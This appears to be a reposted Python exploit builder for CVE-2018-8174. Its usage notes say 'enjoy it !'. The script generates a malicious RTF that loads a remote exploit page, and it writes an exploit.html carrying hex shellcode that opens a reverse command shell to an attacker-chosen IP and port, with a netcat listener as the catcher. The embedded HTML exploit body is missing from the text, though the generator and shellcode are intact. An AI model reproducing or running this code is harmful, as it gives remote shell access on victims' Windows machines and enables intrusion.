CVE-2018-8174 EXP 0day python
usage: CVE-2018-8174.py [-h] -u URL -o OUTPUT [-i IP] [-p PORT]
Exploit for CVE-2018-8174
optional arguments: -h, --help show this help message and exit -u URL, --url URL exp url -o OUTPUT, --output OUTPUT Output exploit rtf -i IP, --ip IP ip for netcat -p PORT, --port PORT port for netcat
eg:
- python CVE-2018-8174.py -u http://1.1.1.1/exploit.html -o exp.rtf -i 2.2.2.2 -p 4444
- put exploit.html on your server （1.1.1.1）
- netcat listen on [any] 4444 (2.2.2.2)
enjoy it !
POC：
1 import argparse 2 import struct 3 4 SampleRTF = R"""{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 5 {\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\sa200\sl276\slmult1\lang9\f0\fs22{\object\objautlink\objupdate\rsltpict\objw4321\objh4321{\*\objclass htmlfile}{\*\objdata 0105000002000000090000004f4c45324c696e6b000000000000000000000a0000 6 d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 7 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 8 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 9 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 10 fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 11 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 12 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 13 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 14 ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000903b 15 beae04f2d30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 16 000000000000000000000000f20000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000 17 0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 18 000000000000000000000000050000008100000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 19 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 20 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 21 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 22 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020900000001000000000000002a0000000403000000000000c0000000000000460200000021000c0000005f31353838343937393534000000000080000000e0c9ea79f9bace118c8200aa004ba90b68000000 23 UNICODE_URL 24 000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff20693325f903cf118fd000aa00686f1300000000ffffffff0000 25 000000000000e05dd6ab04f2d30100000000000000000000000000000000000000000000100203000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002700 26 NORMAL_URL 27 0000bbbbcccc2700 28 UNICODE_URL 29 0000000000000000000000000000000000000000000000000000 30 0000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000d0000004d45544146494c45504943540000000000000000005e0000000800000000000000 31 0100090000032b00000000000500000000000400000003010800050000000b0200000000050000000c0200000000030000001e00050000000d0200000000050000000d0200000000040000002701ffff030000000000} 32 }\par 33 } 34 """ 35 36 SampleHTML = R""" 37 38 39 40 41 42 43 44 45 46 47 48 372 373 374 """ 375 376 reverseip = '1.1.1.1' 377 reverseport = 4444 378 379 def create_rtf_file(url,filename): 380 NORMAL_URL = url.encode('hex')+"0"*(78-len(url.encode('hex'))) 381 UNICODE_URL = "00".join("{:02x}".format(ord(c)) for c in url) 382 if len(UNICODE_URL) < 154: 383 print 'UNICODE_URL len %d , need to pad ...' % len(UNICODE_URL) 384 UNICODE_URL = UNICODE_URL+"0"*(154 - len(UNICODE_URL)) 385 res = SampleRTF.replace('NORMAL_URL',NORMAL_URL).replace('UNICODE_URL',UNICODE_URL) 386 f = open(filename, 'w') 387 f.write(res) 388 f.close() 389 print "Generated "+filename+" successfully" 390 391 392 def rev_shellcode(ip,port): 393 ip = [int(i) for i in ip.split(".")] 394 buf = "" 395 buf += "\xfc\xe9\x8a\x00\x00\x00\x5d\x83\xc5\x0b\x81\xc4\x70" 396 buf += "\xfe\xff\xff\x8d\x54\x24\x60\x52\x68\xb1\x4a\x6b\xb1" 397 buf += "\xff\xd5\x8d\x44\x24\x60\xeb\x5c\x5e\x8d\x78\x60\x57" 398 buf += "\x50\x31\xdb\x53\x53\x68\x04\x00\x00\x08\x53\x53\x53" 399 buf += "\x56\x53\x68\x79\xcc\x3f\x86\xff\xd5\x85\xc0\x74\x59" 400 buf += "\x6a\x40\x80\xc7\x10\x53\x53\x31\xdb\x53\xff\x37\x68" 401 buf += "\xae\x87\x92\x3f\xff\xd5\x54\x68\x44\x01\x00\x00\xeb" 402 buf += "\x39\x50\xff\x37\x68\xc5\xd8\xbd\xe7\xff\xd5\x53\x53" 403 buf += "\x53\x8b\x4c\x24\xfc\x51\x53\x53\xff\x37\x68\xc6\xac" 404 buf += "\x9a\x79\xff\xd5\xe9\x41\x01\x00\x00\xe8\x9f\xff\xff" 405 buf += "\xff\x72\x75\x6e\x64\x6c\x6c\x33\x32\x2e\x65\x78\x65" 406 buf += "\x00\xe8\x71\xff\xff\xff\xe8\xc2\xff\xff\xff\xfc\xe8" 407 buf += "\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 408 buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 409 buf += "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01" 410 buf += "\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c" 411 buf += "\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b" 412 buf += "\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" 413 buf += "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b" 414 buf += "\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c" 415 buf += "\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" 416 buf += "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" 417 buf += "\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73" 418 buf += "\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" 419 buf += "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5" 420 buf += "\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0" 421 buf += "\xff\xd5\x97\x6a\x05\x68"+struct.pack("!4B",ip[0],ip[1],ip[2],ip[3])+"\x68\x02\x00" 422 buf += struct.pack("!H",port)+"\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" 423 buf += "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0" 424 buf += "\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" 425 buf += "\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" 426 buf += "\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" 427 buf += "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" 428 buf += "\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08" 429 buf += "\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" 430 buf += "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05" 431 buf += "\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" 432 433 return buf.encode("hex") 434 435 def gen_shellcode(s): 436 n = len(s) 437 i = 0 438 strs = '' 439 if n % 4 == 2: 440 s=s+'41' 441 while i <n: 442 strs += '%u'+s[i+2:i+4]+s[i:i+2] 443 i+=4 444 return strs 445 446 if __name__ == '__main__': 447 parser = argparse.ArgumentParser(description="Exploit for CVE-2018-8174") 448 parser.add_argument("-u", "--url", help="exp url", required=True) 449 parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) 450 parser.add_argument('-i', "--ip", help="ip for netcat", required=False) 451 parser.add_argument('-p', "--port", help="port for netcat", required=False) 452 args = parser.parse_args() 453 url = args.url 454 filename = args.output 455 create_rtf_file(url,filename) 456 if args.ip and args.port: 457 ip = str(args.ip) 458 port = int(args.port) 459 shellcode = gen_shellcode(rev_shellcode(ip,port)) 460 else: 461 shellcode = gen_shellcode(rev_shellcode(reverseip,reverseport)) 462 res = SampleHTML.replace('REPLACE_SHELLCODE_HERE',shellcode) 463 f = open('exploit.html', 'w') 464 f.write(res) 465 f.close() 466 467 print "!!! Completed !!!"